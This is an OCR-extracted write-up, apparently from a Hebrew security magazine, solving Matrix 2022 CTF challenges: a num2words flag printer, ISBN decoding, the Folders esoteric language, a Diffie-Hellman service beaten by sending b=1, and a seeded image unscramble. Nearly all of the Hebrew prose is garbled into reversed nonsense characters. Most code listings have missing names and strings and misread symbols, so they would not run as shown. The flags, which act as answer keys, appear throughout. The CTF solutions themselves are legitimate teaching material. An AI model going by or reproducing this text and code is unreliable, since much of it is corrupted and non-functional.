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Technologic

(n1TiIa 50 ,Warmup n"1aoy) Print Flag "anx

XANIXR'N DX NX) NN 1ANK2A

Challenge

Print Flag
50

| have a code that prints a flag :)
Unfortunately one function is missing, can you mend it?

* print_flag.py

Flag Submit

)2 XN print_flag.py yal? ba 721

flag array
[l /01, [ 0 071, [ ,01,[15,6],[14,2],(
1,100,3 4,3 00, 3 7,0 ,01]

def
flag =
for letter in flag array:
flag += toString(letter[0]) [letter[1]]
print (flag)

print flag()

IN TIND WNwn [IUKIN 27001 OpTA'Rd "W 190NN NX flag_array-nn Npi? 09PONY DKM
DY MO X7 NIVANNN NN ...toString N7IV9N NK D™7WNY IIN'RA NDIXAY [2MD TN (?)190n
NS0 MYNNWN NNINNN NP'TA DWY? .07 Dnim 0msonn NG |I'van 1 N7y, nxy

:num2words

from num2words import num2words
def (x) =
if (isinstance(x, str)):
return x
return num2words (x)

flag array
[l /01, [ /01, [
1,00,31,04,3],1100,3

def () :
flag =
for letter in flag array:
flag += toString(letter[0]) [letter[1]]
print (flag)

print flag()
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https://pypi.org/project/num2words/
https://pypi.org/project/num2words/

:N2N 0790 NN 7271

MCL{nuM to wor s}

N7'MN NNIR NRT ,3 XIN OpTI'RNI 100 KINW [NNXN 1197 2Wn 1N2 7W01 TIgny R 1IN

INTN NTNNAN DX 7272 NIRN DX Q'Y OX .d X1 3 DI7'na Nl ,hundred

MCL{nuM to words}

:NQN TIZN DNV NIYON NN 1an? 7T NN 7Y 0*1%0NY D'7'NN NN DK 0'9T)

from num2words import num2words
def (x) :
if (isinstance(x, str)):
return x
print (num2words (x) )
return num2words (x)

flag array =
[l (01, [ (01, [ (01, [ +01,[15,6],[14,
,01,[20,17,[0,3],[4,3],[100,3],[7,0],I 7 0] ]

def ():
flag =
for letter in flag array:

flag += toString(letter[0]) [letter[1]]
print (flag)

print flag()

fifteen
fourteen
sixty
forty
twenty

Zero

four

one hundred

seven
MCL{nuM_to_wor s}

:N2N 079N NX 771

hundred-7 DI7na one hundred-7 100 190NN NX NI9IN N'MID0NY dN DY NIYONY DR

:NNNYA N7 72T0 DR 'TR? 7210 Nzn 702

MCL{nuM_to_words}
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Technologic

(n1TIa 50 ,Misc n1avg) Plagiarism Nanx

XAN RN DX AR AT ANKRA

X
Challenge

Plagiarism
50

| wish there was a more human friendly way to keep track of it
all.

Flag Submit

2 nxN flag.txt yalpn nX DA 731

B flag.tet - Notepad

213 Edit View

0061186422 0131103628 0596082254 0POGRAGORE 0486291464 1593275994 1562632950 1138763683 8898711878 8880535925 @198250797 082182676X 3662607697 0252725484 0062515861 ©00E08G000
1522{13668241517 13 16407 }

D107 NITIN 72N 7¢ NM1ana D'k DMIYN MIYAY 17 D'l .DMD0Nn YW NNIY 'y
NN DT MIYRIN MY DN950NN TNR DR 7227 01 WR17 7 e lwrdn 1aTn .0oionn

v lizll]

0061186422

NEIL DANMAN 9717 = plp < https:/www.abebooks.com

GAIMATL
- #9780061186424: M Is for Magic - AbeBooks - Gaiman, Neil
ISBN 10: 0061186422 ISBN 13: 9780061 4. Publisher: HarperCollins, 2007. This
specific ISBN edition is currently not available.
%k

DANAn 977 ¥ plp < https://www.abebooks.co.uk

©9780061186424: M Is for Magic - Gaiman, Neil: 0061186422
M Is for Magic by Gaiman il at AbeBo .uk - ISBN 10: 0061186422 - ISBN 13:
9780061 4 - Harpercollins Childrens Books - 2007 - Hardcover.

DANNA 77 < hitps:ffwww.amazon. ae

M Is for Magic by - Amazon.ae

ISBN-10, 0061186422 ISBN-13 8-0061186424. Reading age, 10 years and up. Dimensions,
X 20.96 cm. omer Re 4 out of 5 sta .
n 4.4 2Tk dokok
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2'NNN 190N1 [IWXRIN 190NN DK 'MY9'NY 17 2IN'Y .1907 NNt 190N |'vA XIN NTH 190NNY NXM

INTH? 2WUN 190NN DX WON) 1220 [11'2 1INIX NXN1D ,M NiIXA

0131103628

) TuaxIm 4,4
MIDTYN A WIDN N NOW NK 1 TANT7 TWOK _T171 AMAYD TINYIN WD o0

DATNAN 77 01 hitps /fwww.amazon .com

_ o ¥ Amazon.com: C Programming Language, 2nd Edition

SCRARMING ISBMN-10. 0131103628 - ISBN-13. 978-0131103627 - Edition. 2nd - Publisher. Pearson -

NGUAGE
i Publication date. March 22, 1988 - Language. English - Dim ons. 6 8x07x92
NN C 47 AT ke kok

oamna T + 01 0« 1 <« hitpsZ/iwww.abebooks.com

®#0131103628 - AbeBooks

0131103628 - C Programming Language, 2nd Edition by Brian W Kemighan; Dennis M Ritchie.
You searched for. 0131103628 (isbn).

DAn®na 77 ¥ Th « hitps=//www.ebay.com

¥ The C Programming Language (2nd Edltmm by Ritchie .
The C Programming Language (2nd Edition) by Riichie, Dennis 0131103628 The Fast ;
9780131103627 ; EAN: 0076092003106 ; Publication Name: C Programming ...
Pearson Education :Pub er ...mber of Volum... dit
Textbook T ...horBrian Kemighan, ... [P

NT 2%wa ?flag.txt-n Yalp 7w nMwn NIIWA DNID0NN WO NN 7ax ,NMUN NIXD PR KD C NIRD
7 DXINN 190NN M NIXA 7'NNN [IWRIN 1900 ,71TA) K12 .D'0PTI'R DNON DN '7IN 'MYYY7 'Mawn

.0-n X71 1-n 07'NNN N1'D0N ,D'0PTI'R NT DX TX,1 KIN

TN NMpPNA 5 XN 17 DXINN 190101 "C Programming Language” XIn 1900 ,"IJUn 190N a7 P11
790N 7 N1 7710) nmipnnn 7N ,27 0'wa ox A1 ,C 727 DMK 1INIXIE o NIXN DX 727
X?2IIT NN NMnal The C Programming Language NNNIX NXT .C NIXN 197 The n7'nn v'aim (nxy

.CNIXN DX 7I'T2 N7 XN KN D O{7TI'XD O'XNN 519%0nn

IMNW> 0000000000 190NN NX NI NMIYXIN NIIYA DI90NA 210 72N01 DX ,9011 TN 'Y W
placeholder-> ToNn VIYD NTY NN X TX ,NI707100 D'MAI0 X7K 190N X7 X7IT XIN MMNNNY

NN "Myon
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Technologic

,ANAIT? NN N1N 0910 2IMD7 D2 CWOX 72K ,NIT NTIAVA XY DX NIYY? NIY |amd

(NI'PN Nxa 7 TAYw TN NT D) NFTOL W APL-2 DA 1D1mnl jsbnlib n'1902 wnnwnn

import isbnlib

with open ( ) as f:
isbns = f.readline().rstrip() .split ()
nums = f.readline () .rstrip() .split ()
i in range(len(isbns)):

if (isbns[i] == ) :
print (nums[i], end="")
continue
print (isbnlib.meta (isbns[i], service='wiki') [
1], end="")
print ()

.NXN1 UOMPON 1AW N"P'M ANINA N¥NI MANKY7 qlixnn flag.txt yalpnw nan v9onw 17 'Y

M2 DR 72721 NiMY nnd o

MCL{Bookworming}

(m1mi72 150 ,Misc n'iavg) Fo/Fo/Fo/Folang Nanx

XANIXR'NN DX '73|7] Digariilhal

Challenge

Fo/Fo/Fo/Folang
150

| am saving disk space by not using any characters, though
it does make things harder to read.

* Folang.zip

Flag Submit

D' %W qan wnn  NEp'M M2 DR I90YR NNy At Dy zip Yalp DA 73
[27,"Folang" N7 D'X11? NX1IN 7201 NIFRP'N NOOIAN NMVIT'R NOWA NAITAY *7¢ NIIYRIN NAWNNN

N7XN X77 I MYO'NY NN DT

wnn X7 07 X NIFA NYRD DIFR'NIN )R YW YD namn 7277 11 find-1 tree NIMon DX MXAN

(Mwn X7 N1 0712'7 IX) OIT2' 7Y 720N 0'¥APN M0 NNTYA NIF'MA 7107 DT "2 1TV pY NN 2Ty
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https://pypi.org/project/isbnlib/

> ThisPC » HDD(D:) » ctfs > folang chall » Folang

Name

B8 New Folder /20 17 File folder

N2 N7 vyl
» ThisPC » HDD(Dx) » ctfs » folang_chall > Folang » Mew Folder
Mame - Date modified Type

BB new Folder f2022 05:17 File folder

BB new Folder (2] 08/06/2022 05:17 File folder

n"Mwn n"p'n"z 01011 .I'"2yn X7 NP NpP'N 4 Ty w' D"NYUN I'2AN NMIYKXRIN n''p?'Nna
New Folder\New Folder (2

T sort v

HDD (D:) » cifs » folang_chall » Folang » MNew Folder » New Folder (2)

Name . Date modified Type
8 Mew Folder 2022 05:17 File folder
B New Folder (2) 7 File folder

B New Folder (3) 7 File folder

NUPMY7 P'YUN) NIPN NPT 2 KD W AMUR DURMAL DIPN NP5 W R MWK ATPa
"wn Inwn AxINYHYUn

BB > ThisPC > HDD (D) > ctfs > folang_chall > Folang > New Folder > New Folder(2) > New Folder (3)

Name Date modified Type Size
@ New Folder (1) File folder
8 New Folder (2) File folder
B New Folder (3) 7 File folder
B8 New Folder (4) File folder
8 New Folder (5) 08/( 7 File folder
8 New Folder (6) File folder
B New Folder (7) 05:17 File folder
8 New Folder (8) 7 File folder
B New Folder (9) File folder
@8 New Folder (10) 7 File folder
B New Folder (11) File folder
B New Folder (12) 7 File folder

8 New Folder (13) File folder

B New Folder (14) File folder

NT 'R 72K 727N W NIR DT QYR DY AT 7Y 1IWRIN 0'00Y'RN ,NNS0INN NIFP'N 48 [N W'

?aXI'n
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Technologic

NKN]  NIYKRAN n"r}'n'7 0101 DX
ThisPC » HDD (D:) » ctfs > folang_chall > Folang » Mew Folder » Mew Folder (2) » Mew Folder (3) » Mew Folder (1)

MName - Date modified Type Size
B Mew Folder {n 022 05:17 File folder

BB New Folder (2) 17 File folder

NMIYXRIN n"p'n"z O ,"IX ,NI'P'N 'NY
b ThisPC » HDD(D:) » ctfs > folang_chall > Folang > New Folder » Mew Folder (2) » Mew Folder (3} » New Folder (1) > New Folder (1)

Mame . Date modified Type Size
- Mew Folder (1) 0 0 129 File folder
. Mew Folder (2) File folder
. Mew Folder (3] 06/2022 05:17 File folder

B new Folder (4) 0 0 :20 File folder

ANWN XM AT IR, IR R 77020 np New Folder nwa n'g'n W' [ 27na Nt 4 X0 W
(!0 DNXY NNENR) NNTIEN AT RN TN
ThisPC > HDD (D:) » ctfs » folang_chall > Folang » New Folder » MNew Folder (2) » New Folder (3) » New Folder (1)

Mame - Date modified Type Size
BB nMew Folder (1) 022 05:17 File folder

BB New Folder (2) 022 05:17 File folder

nMvn n"p'n‘7 0101 OYOn
> ThisPC » HDD(D:) » ctfs > folang_chall » Folang * Mew Folder > New Folder (2) MNew Folder (3) » Mew Folder (1) » MNew Folder (2}

Name . Date modified Type Size
. MNew Folder (5) 022 05:17 File folder
BB New Folder (6) 0,01, 2:29 File folder

Bl niew Folder 0] 0/01/20 :29 File folder

Bl niew Folder 8 0 0 :29 File folder

'Y YUNND NNS0INN NIFP'NN NYAIRY 17 IN'w .XY7 77021 New Folder W' 7N 21w Nig'n 4 21w
(M T 222 N NN 4) 27RO NPT 8 W27 DTIR 1INAW MWK AN NN NYAINY

QI NN 8 PIMTA WD (D'0') NI NAIMY AIWNY? 7 01w nn New Folder wr 7702l
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Technologic

-0 NN NP ANd TV 'MTa .0 X' Do TX N AN DXL 'yn kNN 72D New Folder-n
N"P'NA 'MANDY 7T U9MIZ0 NITYA *7W NMIXNN NIK 71721 [27 12T INIK NI'DA [N, N1 T XYY 48

UKD NN KW Folang ntiz'nin 2un

import os
from natsort import os sorted

def (8) ¢
return ''.Jjoin(chr (int(s[i*8:1*8+48],2)) for i in range (len(s)//8))

directory =

dirs = ([x[0][len(directory):] for x in os.walk(directory)])
dirs = os_sorted(dirs)

paths to del = []

for dir in dirs:
if dir.endswith ( )z
path to del = dir[:-11]
paths to del.append(path to del)

for path in paths to del:
dirs.remove (path)

bitstring =
for dir in dirs:
if (dir.count (
bitstring+=
if (dir.count (
bitstring+=

print (decode binary string(bitstring))

aTOoN oIm'il 7w D'Xapn "oV INd NI'fg'Nn NX 1 T07 NIn 7V natsort N0 '"MUNNYNY 17 'y

:0790 NN 72721 Y2 LININ
https://ctf.matrixcyberlabs.com/ef4d2b8973acl8f65

:Xan '-]'['7 v ,1IUJ'|7'7 01111 ,N'VaN NXN]

Congratulations! You've successfully executed the Folders esoteric language ;)

MNow, in order to get the flag you need to 'write’ using Folders.
Create a folders structure that will print out a distinctive word showcased in this video.

Zip the root of your 'Folders' folder structure and send it to the server represented as a base64 string.

--- basef4( zip( folders ) )} ---
server:nc @.cloud.chals.io 22255
Good luck !

7 MO NI Folders NOWY D'RIIPW N'WaN ,NAID1 AN W NIWRIN AYIRIVIRAY DK TR

.Folang 0'"77Dw DT
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https://pypi.org/project/natsort/

NN DX 0NN JI0NKX .[IV107 NIW'R 117 DN ,NNYI0N N7 0'9TIW D'¥N DNW DX NN ‘D]

:N7W NNONISNN N7'MN DX NNNIX 01'919 N 7Y [IV10 NTYW 0D7 T'ARI N''OXN

supercalifragilisticexpialidocious

ni7'n 9xn XY N7 TIVINN DR NI'\|7'7 2010 ,NTVINN NNVIT'R NOW NNTY D'VTI' 1INIRWD 1'WUDY

JINTD NN NN 09T

NI (NOSTNW INKN v N2IMDdN) 12'20 DAY NTNNN U kb7 1w D27 TaANI TIO DO7 N7aN
XY YYJN]']ﬁ'? AYORY ,TIp? 2IndY7 YYJN]’Iﬁ'? nn? D .NIT NRD N"PZ'N 'NdN X ,NIXND XN YR VT

QI

NWIVN N71Y9 mw' ,C#-2 aImdN Folders NMVIT'RND NOWN 7w "wIn VPN AINT? X 'R 7AX

;0¥ NNIXY NN 71T
Tools

Since writing constants in Folders is a challenge (especially strings), the Folders Tools converts any literal into a set of

folders:

Usage: FoldersTools LiteralBuilder type value [add_gitignore]
type = char, int, float, string

value = the value to convert

[add_gitignore] (optional) allows for adding .gitignores to all terminal folders (necessary to check in Folders
programs)

nnn LiteralToFolders.cs yalpn nX nnoi Visual Studio-a  vp"NSn NX  NN9)

:Rottytooth.Esolang.Folders.Tools

- Rottytooth Esolang FoldersTooks = B St -

- %% Rottytooth Esoleng Folders. Tools.LiteralTofolders = ) Wiite{string type. string value, bool writeGtignores = false

2V ' wppn yn' ' T¥aw Solution Explorer-a ,anw ()apm nvpM? path-n X v

:N"P'MN NNN 07D 117 NX'E Rebuild yn'7a1 Rottytooth.Esolang.Folders.Tools

Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug

MANNK NTO Matrix 2022
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https://www.youtube.com/watch?v=uZNRzc3hWvE
https://github.com/rottytooth/Folders

NTIPON DX YNINT 7211 Dwn

.\FoldersTools.exe LiteralBuilder string
false

LANKRD NYZ'NA NTRD DYAR 'R K7W 1D, NIMzNA gitignore. Yaup NIX'? X7 n1dINT? nix false-n

NIN 0721 NDINYT NP9'0W N"R'M7 0121 DX ,NIPN 701 XD D'NIN) I'N' DY ['MNXN7 N2'0 7 'R

:Nan NThnn
Folders-main > Rottytooth.Esolang.Folders.Tools > bin > Debug > root
Name ' Date modified Type
@ New Folder 3/06/2 2 File folder
B8 New Folder (2) : File folder

@B New Folder (3) 3/06/2( : File folder

197 NI'P'N NND TIY 112Y7 D'DMIX 110 DNIDIT DNR OX 728 ,ANKRD NYP'NA 1IND NXp NI Wiy
N'YU'7W1) NNYY NTNNNAN DX 71 NIRX'M N9RD DIFPNNY 7720 DRTE D7RN DR wI7wY vany

.0'9TN7 NTIZON DY NIFP'MN K77 728 ,("MIX1'2] NIFMIRD NIRXNA)

NN NRXMY NIPNN DK N2 970071 NP MANKD NP 7Y NIV XY [2md XD 'aon [NNon
NP NP INWNY DUN DX DWRIN DTPMY NIWA L NRT 'WYY INKY .NINNAY NIFPMa NTNnnn

:0'¥N 1INIXY NN NO'DTA NNKA NV NNY 21271 yin'? DA YWOR "supercali" 7wn'? o'knn

PS D:\ctfs\folang_chall\Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug> .\Folders.exe .\supercali\

Complete

PS D:\ctfs\folang_chall\Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug> .\supercali.exe
supercalifragilisticexpialidocious

PS D:\ctfs\folang_chall\Folders-main\Rottytooth.Esolang.Folders.Tools\bin\Debug> python.exe .\exp.py
supercalifragilisticexpialidocious

1) 'M2Nd IR UOMPON DY DAl NIFNN (NN 23N 1TNN) 177'9NIpN DY DA ,TAIY NTY DX
NUP'NN DX TNRY XD NNDY 7D ) DR L(DRNNA supercali-? n"P'Nn DU DX 12 NRYY MANT
MNYI OpI1'77 'MNTN D DWY? .27 0TI 17 NI NIW7,64 0'011 TTIN INIX NITYWYI zip-2 N'WUXRIN

:N2AN VO"IPON DY TN N'P'NA Zip-N NX

from pwn import *
import base64
context.log level =
with open ( , ) as f:
bytes = f.read()
encoded = baseb64.b64dencode (bytes)
r = remote( , 22255)
r.recvline ()
r.sendline (encoded)
print (r.recvline () .decode ( ))

‘T NR 771y

MCL{c4nNO7 533 7H3 fL4G £fOR 7H3 fOLD3r5}
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Technologic

(n1T1;72 100 ,Crypto N 1avy) Telepathic Manx

:NQN XN DX 7271 NTh AN

Challenge

Telepathic
100

nc 8.cloud.chals.io 16499

Flag Submit

:NQN V790 DX NXAEI2NNY DY NNANNN NTIE92 NI |AIMd

Welcome player!

What if told you that colour mixing is essential for telepathy?

I claim that you and I can arrive at the same number no matter how many times we
do so, simply by using the right amounts in the correct order :).

Sync your inner telepathy with mine, for no more than 32 consecutive rounds and
get the flag*, easy.

(*telepathic beings can be very nosy, so I'll be sure to encrypt it
beforehand.)

OK here we go, but be quick about it, I have other telepathic beings to see (or
something else rather).

= (229, 10)
150
enter your number

AwoKr .Diffie-Hellman Key Exchange-2 "NaITaw Nntn T 'NTHA NN9¥NN OY1Y DX DNy ' X

.0TD 10002 ' MYNNYN N'WIR IR, DT W T

DA NVAIXND |9IXA NINNON ‘]]'IU'? 7IXNN XN NNON t]IZI'I'HJ'? I7I|7Il.’)|193. NAITNY NNXpPZ2 'aA0N

JUMY DO T 7V N0 NNONN OINTWY NYZI0I'RNY NNj7Na
| |

010" X7) 2IYKI 1TON "2'0'NNI9 YWAIYI (p-2 [RI0N) 1IWKXRY 190N 7V D'0'7NNY D NTAY N19¥NN
1Y .g-1 [nIoni N'YA 771NN IX 1101120 DA YIT KIN- (NANKYT 'O X7 DTV (1M DT 7Y nz'onnn?

.0N'2" 2 NXPIVIRN DR 0'NIY ' 727 DAL DTTYN QWY DWIT - 0PI DN 1770 DY0nn
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https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange
https://www.youtube.com/watch?v=pwZebAcjoeo
https://he.wikipedia.org/wiki/%D7%90%D7%99%D7%91%D7%A8_%D7%A4%D7%A8%D7%99%D7%9E%D7%99%D7%98%D7%99%D7%91%D7%99#%D7%A9%D7%95%D7%A8%D7%A9_%D7%A4%D7%A8%D7%99%D7%9E%D7%99%D7%98%D7%99%D7%91%D7%99_%D7%9E%D7%A1%D7%93%D7%A8_%D7%A8%D7%90%D7%A9%D7%95%D7%A0%D7%99

Technologic

'YNIY 197 NrTO7MA Wl LA DA 117 N1

Mimonen ninye

y7taonnxan?nnwl 1< a < p— 2wK0 a TIo TROER 079 NN 0K L1
gur2homnxoRrnnw 1< b < p—2wKd bmo kg 0w N2 a2
K = A" mod p qniwna nmonn nx awnm A nix 7am a3

K = B" mod p gniwnn nnonn nx nawnnl B Ik N7apn otk .4

[P [wpn mipnony ] DI0F DID0N2 ANAIT
19 27 NOXM X0 W rn F g7 19900 minnn v g = 429 i p = 1187 iwxan 10000 7y 0201w N, TA72 M 1Y

DN 2FI0N9N 700 707 oY

A = 429%° mod 1187 = 574 nx nawnni a = 546 0 1y "N 07X
.B = 429%"% mod 1187 = 101 nx 2wnni b = 358 Tio Ty N2 A
.574 19010 NX 227 NN7IY 07X ;1 0N
101 "90nn NX 0'7X7 N71IY 211 12 Y0n
QnIYNN NNONA NX NIWNN 07X

K = 101" mod 1187 = 730
QnIYNN NNONA NX 2WNN 212

K = 574%"® mod 1187 = 730

K = 730 nnon pn1w 1 nyd

YN DY QIN'YN NUXPZA0Y'R IR 0N 7N NNIXRY NN 'R 117 NN1IY DININNIRTN 7Y NI0"N 197

.(n"I'D'P'I NNAITA 211) AU TN INIXI (ﬁ"I'E)'r)'I nnarm 0"7N) TNXTX NINN MMYN

NNIXY b-w 11DT 71 .B IR MW7 NI7WY1 2awn?1 b 71y 11n2% 0MX 11NIRY AR A 117 [N DX

(7712) p-2-7 (791) 1 Panrn? X 0N

:pwntools N'"M901 YNnwn xRy 27 'y ,Nxan TIPN NNV B NX Nn2wai awnal b=1 N1

from pwn import *

remote (
context.log level =
r.recvuntil (

.recvuntil ( )

= int (r.recvuntil ( ) [:—=1] .decode ())

= int (r.recvuntil ( )[:=1] .decode ())
.recvuntil ( )

= int(r.recvline () [:-1] .decode ())

= pow (g,b,p)

.sendlineafter ( , str(B) .encode())

b
r
P
g
r
A
B
r

.interactive ()

MANNK NTO Matrix 2022
www.DigitalWhisper.co.il
13 2022 1,141 '



https://docs.pwntools.com/en/stable/

Technologic

:D'YTN DIN] DY DY9N ,090N 1Y Upan NTY NXN]

b'OK here we go, but be quick about it, I have other telepathic beings to see (or something else rather).\n
b'\n"
b'\n"
b'p, g = (179, 167)\n’
b'A = 89\n'
b'$ enter your number\n’
1 sent exu bytes:
b'167\n"
Switching to interactive mode

] Received 8x2d bytes:
b'\n"
b'p, g = (167, u3)\n’
b'A = 68\n’
b'$ enter your number\n'

:117 7N DYWL N0'D1 D'7AN NNIRY IN'MAY A7 In'w

Sync your inner telepathy with mine, for no more than 32 consecutive rounds and
get the flag*, easy.

XAN TN MY D' INYN Nt 72 0rmani 1 Xin 7w b-wd B Mo0n 32 n7w TR

from pwn import *

r = remote (
context.log level =
r.recvuntil (

b =
for in range (32):

.recvuntil ( )

= int(r.recvuntil ( y[:-1].decode())

= int (r.recvuntil ( y[:=1] .decode())
.recvuntil ( )

= int(r.recvline () [:-1] .decode ())

= pow (g, b, p)

.sendlineafter( , str(B) .encode())

EW>»RBQDT R H

r.interactive ()

:N2N V79N NX 72171 9102
] sent 8x3 bytes:
38\n’

b'38
Switching to interactive mode

] Received 8xc9 bytes:

b'\n’

b'Great Job!\n®

b'If all went well we should have synced-up telepathically :).\n'

b'Here is an IV: mve@XZ6PW2N95mHivkmSoRA==\n"

b'and an encrypted flag: gwjaB7u85iejkRJIXwuhn/agMKWyHh5jty6XoQlRILBQDRKBclc+kBl8sldJIhKsny\n'

nn 7ax (V) 7Inn'Rn Q101 02 1% N1 ,CBC aion NXNIN 7DD AES N19¥NA |9XIN 7AThY NN
'NNLAIKN NIX2 NNON QINWY A0 AT YUY NN YAINW NDW X7 [amd TX ?NNonn

.NNONN AIY'N |2 KXIN 12 JNNKRN 27wnI |YJ'7|'1-'9"I' I7I|7Il.‘)|'\9 narya

X2 DA NI9¥NN DK NAW7 NiZpa ¥ KIN 'W/7@ DA T 70 TOIM AN'A NN'WA DX D07 D900 DY DF0VNN X AT ANKAWY i1
SYUIN'Y X7 0T DO N'9'YO0V |11'D NT7 0101 K7

MANNK NTO Matrix 2022
www.DigitalWhisper.co.il
14 2022 1,141 '




Technologic

Alv'nn DX D'vxan Y1

K = A" mod p qniwnn nnonn nx awnm A nx apm an 3
K = B" mod p gniwnn nnonn ik nawnnl B Ik n7agn 0K .4

:NIYO71 N7W TIR? NT NN 9'0INT ARTI TX

from pwn import *

from base64 import b64decode

from Crypto.Cipher import AES

from Crypto.Util.Padding import unpad

r = remote ( , 16499)
r.recvuntil (

key = []

in range (32) :
.recvuntil ( )
= int (r.recvuntil ( )[:-1] .decode())
= int (r.recvuntil ( )[:-1] .decode())
.recvuntil ( )
= int(r.recvline () [:-1] .decode ())
= pow (g,b,p)
pow (A, b, p)
key.append (k)
r.sendlineafter ( , str(B) .encode())

AP BsQT R e

r.recvuntil ( )

iv = r.recvline () .split( ) [1] .rstrip ()
enc_flag = r.recvline() .split( ) [1] .rstrip ()
iv = bo64ddecode (iv)

ct = b6ddecode (enc_flag)

key = bytearray (key)

cipher = AES.new(key, AES.MODE CBC, iv)

pt = unpad(cipher.decrypt(ct), AES.block size)

print ( , Pt)

2270 NN 7700 XKan V79N X A Y

The message was: b'MCL{4 D1fFeR3n7 HeLLM4nNs kEy 3xCh4ngE}'
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(n1TI72 250 ,Reversing n'1avy) Pyland Nanx

XN IR'MN DX I73.|72| N7 1ANK2

PyLand
250

Hey, | bought a puzzle from a store called PyLand.

The puzzle consists of 2500 parts.

When | was close to finishing my puzzle a storm named 'Meta'
came out of nowhere and shuffled my entire progress!

Can you help me complete the puzzle?

* puzzle png

:puzzle.png NniMnni
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B Technologic o

NI 21721 ,NIMN 77100 MaNK 75175 0TI ?0'wiy nn ,0'R'70 2500 7w 7TRO XD 117 W' NNXRAW DR

NANNN 7Y NN DA DTN NPNY) AWV D210 DPANK NID 70w 11D NIMN NNIR 7¢ NURT-RLNN

ExifTool Version Number
File Name

Directory

File Size

File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions

File Type

File Type Extension
MIME Type

Image Width

Image Height

Bit Depth

Color Type

Compression

Filter

Interlace

Secret Seed

Image Size

Megapixels

(DT IR D
$ exiftool puzzle.png
: 12.40

puzzle.png

10 MiB

2022:06:06 22:26:33+03:00
2022:06:06 22:27:44+03:0600
2022:06:06 22:26:33+03:00
~IWXI=XT—X

PNG

png

image/png

3000

3000

8

RGB with Alpha
Deflate/Inflate

Adaptive

Noninterlaced

1337

3000x3000

9.0

XIN 17 0'WY7 TN T'nnw [IN] TIY .QUnN 'YIN'y 'Y IRTHA RIN L1337 1Dy Secret Seed-a |'N1]

"?7N" N0l NN NIV NINNN DX

NN91 DX .0'701'9 3000 7v 3000 X'N NTH NN, NNIZITIN

.0'77n 2500 17 w'w DA 11211 .0'"7017'9 60 7 60 KIN DT 77N 72w n'721 7TRON 7w TTIA

shuffler/scrambler python image axkNV'QI 72122 WON7 NNY'D 7W NIWRIN NAWNNN ?NR7D NN

DA DTN "7 W'Y D'NTAY NN .pycasso-7 'Myan §i0d ,RXI' NN NIRY7?I python puzzle by seed Dai

T nt? NNY1 seed D'WYI,NMN 12 NI7Yn7 71D nNNRYW DX

:210%7 N1 Convert yn'a

image-scramble

An image obfuscation tool that splits an image into tiles and scrambles or
unscrambles them with seed. Check it out on GitHub!

IMAGE: | Choose File | puzzle.png

SLICE SIZE: 60 60

SEED: 1337

MODE: Unscramble v

FORMAT: PNG

v

SHOW SIDE-BY-SIDE:
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https://github.com/catsital/pycasso
https://image-scramble.herokuapp.com/
https://image-scramble.herokuapp.com/

Technologic

seed DY NI017 NN"N 7¢ NXAN NAYNNN .(78NAWN NNIEAN MINNN) Ty X7 0T ,NIKY7 [NIY '9D
JID9INN N7IV9N DR NIWYY TXRI seed '©7 7TX9 7707 NiNN 77NNy TIg RIxn? N 7w 70

JNYOINY NN 21T RINYW NN V7'MON NX 'MKRXN rieay)

25 DT 7ax slicer.py NX YNNI input_images N'"'NAa NN D'WY MY MK DTINMY NKRY?

)2 NI MIEARN TIRN .DXNNA DMWY QWYL TIZN 72V DX 79N0)

import os

import image slicer

import random

import math

import copy

from PIL import Image, ImageDraw

def (drawcontext, xy, outline=None, width=5):
(x1, yl), (x2, y2) = xy
points = (x1, yl), (x2, vyl), (x2, vy2), (x1, y2), (x1, yl)
drawcontext.line (points, fill=outline, width=width)

def (img name, input dir= , output dir=
number tiles=4, outline width=2):
tiles = image slicer.slice(os.path.join (input dir, img name),
numberitiles=numbgr7tiles, save=False) - -
rand tiles = copy.deepcopy (tiles)
image ids = list (range(len(tiles)))
random.shuffle (image ids)
for i in range(len(tzles)):
rand tiles[i].image = tiles[image ids[i]].image
draw_context = ImageDraw.Draw(rand tiles[i].image)
draw rectangle (draw _context, [(0,0),
(rand tiles[i].image.width,rand tiles[i].image.height)], outline='Db]
width=outline width)
image = image slicer.join(rand tiles)
image.save (os.path.join (output dir, img name))

if name == ' main ':

input dir = "
output dir =

MANNK NTO Matrix 2022
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https://github.com/nomisch/image_puzzle

Technologic

number tiles
outline width

input files = [f for f in os.listdir(input dir) if
os.path.isfile(os.path.join (input dir, f))]
for img file in input files: B
slice(img file, input dir=input dir, output dir=output dir,
number tiles=number tiles, outline width=outline width)

DIV D'¥N X7 INIRY 11" 0-7 outline_width NXI 2TR9N 770 1901D 2500-7 number_tiles NX N1wa
NIYY7 " TIg 9'oil nn'wn? shuffle niwyy? Tipn NX Fnna 71 rwdy 07NN 1 yixN'y AT

.0'1on seed |N1'‘na nn'wn? unshuffle

T21) unshuffle N7 NIYY? D'YNY NN'WAN 7T1I22 RN QYT DWW DN T 20 INT NIYWYYT7 TWONR
72X 72 OPTI'R NT'RY D'WTIY DXV I shuffle-n AR DM®onn 0'7911 PN NIKY? L(2500 TV 0-n

.0IYD T AT N2I9NN N7IYON NX V¥aY |XOnN1 y'an

72T .17 VONMIPOYT INIK §'0N ,NTN WIN'NI WNNWI N1V NNT YN 11D DX 'YV wnn? nn? X
.unshuffle nWIYY n71Y97 nRMp 197 random-7 119 seed-n DX 0007 XIN NIDWY? 1IORY |NNX

]2 AR UDMPON LII'WYY DMII'WN 72 INNT

import os

import image slicer

import random

import math

import copy

from PIL import Image, ImageDraw

def (1) :
seed = 1337
random. seed (seed)
perm = list (range(len(1l)))
random.shuffle (perm)
random. seed ()
return perm

(1) :
= getperm(l)
[1[j] for j in perm]

(1) :
perm = getperm(l)
res = [None] * len(1l)
for i, 7 in enumerate (perm) :
res[j] = 1[i]
1[:] = res

(drawcontext, xy, outline=None, width=5):
(x1, Yl), (XZI YZ) = Xy
points = (x1, yl), (x2, yl), (x2, y2), (x1, y2), (x1, yl)
drawcontext.line (points, fill=outline, width=width)

def (img name, input dir= , output dir=
number_tiles:4, outline_width:Z):

tiles = image slicer.slice (os.path.join (input dir,img name),
number tiles=number tiles, save=False)

rand tiles = copy.deepcopy (tiles)
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https://stackoverflow.com/a/54726084

Technologic r

image ids = list (range(len(tiles)))
unshuffle (image ids)
for i in range(fen(tiles)):
rand tiles[i].image = tiles[image ids[i]].image
draw _context = ImageDraw.Draw(rand tiles[i].image)
draw rectangle (draw_context, [(0,0),
